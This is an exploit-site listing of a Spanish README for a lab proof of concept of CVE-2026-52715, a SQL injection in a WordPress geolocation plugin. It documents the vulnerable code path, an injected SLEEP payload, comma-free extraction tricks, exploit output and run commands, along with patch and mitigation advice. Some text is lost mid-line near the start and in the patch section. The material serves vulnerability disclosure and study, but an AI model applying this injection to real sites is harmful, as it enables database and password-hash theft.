Sploitus

Exploit for CVE-2026-52715

githubexploit Β· 2026-08-14

Exploit Code

README171 lines
## https://sploitus.com/exploit?id=E421EB08-F9A1-5526-A5FB-B7718898A805
# GeoLeak β€” PoC de CVE-2026-52715

> Proof of Concept educativa de **GeoLeak** (CVE-2026-52715), inyeccion SQL no autenticada (CVSS 9.3) en el plugin **GEO my WordPress &nelatlng=…  β”‚
β”‚     pagina publica con shortcode [gmw form="1"]                     β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                                                   β–Ό
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚  2. GMW_Form::set_default_values()                                  β”‚
β”‚     action=fs => formulario marcado como enviado                    β”‚
β”‚     get_form_values() toma $_SERVER['QUERY_STRING']                 β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                                                   β–Ό
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚  3. gmw_get_form_values() (gmw-functions.php:512)                   β”‚
β”‚     parse_str($query_string, $output)  sin lista de permitidos      β”‚
β”‚     $output['swlatlng'] llega intacto                               β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                                                   β–Ό
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚  4. parse_query_args() (class-gmw-form-core.php:794)                β”‚
β”‚     gmw_swlatlng / gmw_nelatlng copiados a los argumentos de busquedaβ”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                                                   β–Ό
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚  5. gmw_get_locations_within_boundaries_sql() (gmw-functions:669)   β”‚
β”‚     $sw = explode(',', $southwest);                                 β”‚
β”‚     "AND ( gmw_locations.latitude BETWEEN {$sw[0]} AND {$ne[0]} )"  β”‚
β”‚     interpolacion directa: sin prepare, sin validacion              β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                                                   β–Ό
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚  6. WP_Query -> $wpdb->get_results()                                β”‚
β”‚     SQL: ... AND ( gmw_locations.latitude BETWEEN                   β”‚
β”‚            1 AND SLEEP(5) AND 40.416775 AND 41 ) ...                β”‚
β”‚     respuesta retardada 5s / total_results = oraculo                β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
```

---

## Requisitos

- Docker y Docker Compose (probado con Docker 29.4.1 / Compose v5.2.0)
- `curl` y `awk` para el exploit
- Puerto 3080 libre (o cambia el mapeo en `docker-compose.yml`)

---

## Estructura del repositorio

```
POC-GeoLeak-CVE-2026-52715/
β”œβ”€β”€ docker-compose.yml          WordPress 6.8 (PHP 8.2) + MariaDB 11
β”œβ”€β”€ docker/
β”‚   β”œβ”€β”€ Dockerfile              Imagen WP + WP-CLI + entrypoint del laboratorio
β”‚   β”œβ”€β”€ lab-entrypoint.sh       Arranque + siembra automatica en el primer boot
β”‚   β”œβ”€β”€ seed.sh                 Instalacion WP, formulario, post geolocalizado
β”‚   └── geo-my-wp/              Plugin GEO my WordPress 4.5.5 (codigo vulnerable)
β”œβ”€β”€ poc/
β”‚   └── poc.sh                  Exploit: time-based + boolean-based + exfiltracion
β”œβ”€β”€ docs/
β”‚   β”œβ”€β”€ analisis-tecnico.md     Cadena completa request -> SQL, con codigo
β”‚   └── diff-parche-4.5.5.1-gmw-functions.php.diff   Parche oficial real
β”œβ”€β”€ LICENSE
└── README.md
```

---

## Guia rapida de uso

```bash
# 1. Levantar el laboratorio (primer arranque: 60-90 s)
docker compose up -d --build

# 2. Comprobar que la siembra termino
docker compose logs wordpress | grep lab-entrypoint
# [lab-entrypoint] laboratorio listo

# 3. Ejecutar la PoC
./poc/poc.sh

# 4. Destruir el laboratorio
docker compose down -v
```

Parametros configurables del exploit:

```bash
TARGET=http://localhost:3080 PAGE_ID=5 FORM_ID=1 SLEEP=5 ./poc/poc.sh
```

Acceso a WordPress: `http://localhost:3080` con **admin/admin**. La pagina con el formulario vulnerable es `http://localhost:3080/?page_id=5`.

> Nota: la fila semilla en `wp_gmw_locations` es imprescindible. La consulta usa INNER JOIN contra esa tabla: sin filas el WHERE inyectado no se evalua y `SLEEP()` no duerme.

---

## Verificacion de la explotacion

Salida real de la ultima ejecucion contra el laboratorio (14 de agosto de 2026):

```
$ ./poc/poc.sh
===================================================
 CVE-2026-52715 | GEO my WordPress  total_results=1
    Condicion FALSE -> total_results=0
[+] VULNERABLE: el numero de resultados depende de la condicion inyectada
[*] Extraccion de VERSION() caracter a caracter...
[+] VERSION() = 11.8.8-MariaDB-ubu2404
[*] PoC completado
```

Verificacion cruzada directamente contra la base de datos:

```
$ docker exec cve-2026-52715-db mariadb -u wordpress -pwordpress wordpress \
    -N -e "SELECT VERSION();"
11.8.8-MariaDB-ubu2404
```

Contra la version parcheada (>= 4.5.5.1) la fase time-based responde en milisegundos y la PoC termina con `[-] No se detecto retardo (objetivo posiblemente parcheado >= 4.5.5.1)`.

---

## Analisis tecnico

Detalle completo, con los fragmentos de codigo y las lineas exactas, en [docs/analisis-tecnico.md](docs/analisis-tecnico.md). Puntos clave:

- **Sink:** `gmw_get_locations_within_boundaries_sql()` interpola `{$sw[0]}`, `{$sw[1]}`, `{$ne[0]}`, `{$ne[1]}` directamente en el WHERE (los cuatro puntos son inyectables).
- **Source:** `gmw_get_form_values()` procesa el query string completo con `parse_str()` sin lista de permitidos.
- **Restriccion del exploit:** el payload no puede contener comas porque PHP hace `explode(',', $southwest)`. La PoC usa `CASE WHEN a THEN b ELSE c END` en lugar de `IF(a,b,c)` y `SUBSTRING(x FROM n FOR 1)` en lugar de `SUBSTRING(x,n,1)`.
- **Oraculo booleano:** el JSON embebido del mapa expone `"total_results":N`; el exploit calibra el rango de longitud (`-10..1`) para que la fila semilla sobreviva cuando la condicion es verdadera.
- **Tecnicas:** time-based y boolean-based verificadas; UNION-based teorica (hay que cuadrar las columnas de `wp_posts.*` mas los campos gmw); error-based no practica (wpdb silencia errores).
- **Endpoints AJAX descartados:** los tres handlers `wp_ajax_nopriv_*` del plugin o no ejecutan SQL (version gratuita), o estan protegidos por nonce. El vector del CVE en la version gratuita es el GET del formulario.

---

## El parche oficial (4.5.5.1)

Diff real completo en [docs/diff-parche-4.5.5.1-gmw-functions.php.diff](docs/diff-parche-4.5.5.1-gmw-functions.php.diff). Entre 4.5.5 y 4.5.5.1 unicamente difieren tres ficheros (`geo-my-wp.php` de version, `readme.txt` de changelog y `includes/gmw-functions.php`):

1. Nueva funcion validadora `gmw_parse_latlng_boundary()`: exige exactamente 2 partes numericas finitas con `|lat| prepare()` y marcadores `%f`.

Version actual del plugin: 4.5.5.3 (julio de 2026), parcheada.

---

## Mitigacion

1. **Actualizar a GEO my WordPress >= 4.5.5.1** (medida principal).
2. Si no se puede actualizar de inmediato: regla WAF que bloquee valores no numericos en `swlatlng`/`nelatlng`, o virtual patching (Patchstack y similares).
3. Revisar si los formularios `[gmw]` publicos necesitan la busqueda por limites de mapa.
4. Monitorizar accesos con patrones `swlatlng`/`nelatlng` anormales en los logs.
5. Si el sitio estuvo expuesto: rotar secretos y reconsiderar hashes de `wp_users`, la inyeccion permite leerlos.

---

## Creditos

- **Descubrimiento:** researcher **alvarodh5** (informado el 10 de abril de 2026, publicado el 15 de junio de 2026 via Patchstack).
- [Ficha de Patchstack](https://patchstack.com/database/wordpress/plugin/geo-my-wp/vulnerability/wordpress-geo-my-wordpress-plugin-4-5-5-sql-injection-vulnerability)
- [Registro NVD CVE-2026-52715](https://nvd.nist.gov/vuln/detail/CVE-2026-52715)
- [GEO my WordPress en wordpress.org](https://wordpress.org/plugins/geo-my-wp/)

---

## Licencia

[MIT](LICENSE)